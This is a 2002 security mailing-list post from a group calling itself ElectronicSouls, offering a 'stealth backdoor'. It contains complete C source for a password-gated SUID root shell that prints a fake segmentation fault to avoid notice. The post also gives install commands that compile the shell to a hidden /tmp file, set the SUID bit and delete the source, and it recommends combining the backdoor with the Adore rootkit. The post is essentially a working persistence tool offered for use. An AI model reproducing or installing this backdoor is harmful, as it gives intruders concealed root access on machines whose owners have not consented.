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Message-ID: <200211291750.gATHoMcH057219@mailserver3.hushmail.com>
From: es at hush.com (es@...h.com)
Subject: [ElectronicSouls] - Stealth Backdoor
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Dear List,
Here's a useful way to locally backdoor a machine. We suggest that you
use it along with Adore(tm) on your honeypots.
# cat sps.c
/*
* SUID PASSWORD SHELL Coded by CraigTM [ElectronicSouls]
* This will only give you a shell, if a password is given
* If no password is specified, it will look as if it coredumps
*
* install:
* gcc sps.c -o /tmp/.sh
* chmod +s /tmp/.sh
* rm -f sps.c
*
* run:
* /tmp/.sh pw
* --> uid(0)
*
*
*/
#include <stdio.h>
#define PASS "pw"
main(int argc, char **argv)
{
if( (strcmp(argv[1],PASS)==0) )
{
setreuid(0, 0);
setregid(0, 0);
printf("[ *** Welcome to SPS ;) ][ (C) CraigTM [ElectronicSouls] *** ] \n\n");
execl("/bin/sh", "/bin/sh", NULL);
}
else
{
printf("Segmentation Fault\n");
exit(0);
}
}
#
The Electronic Souls Crew
[ElectronicSouls] (c) 2002
"Mary had a little lamb."
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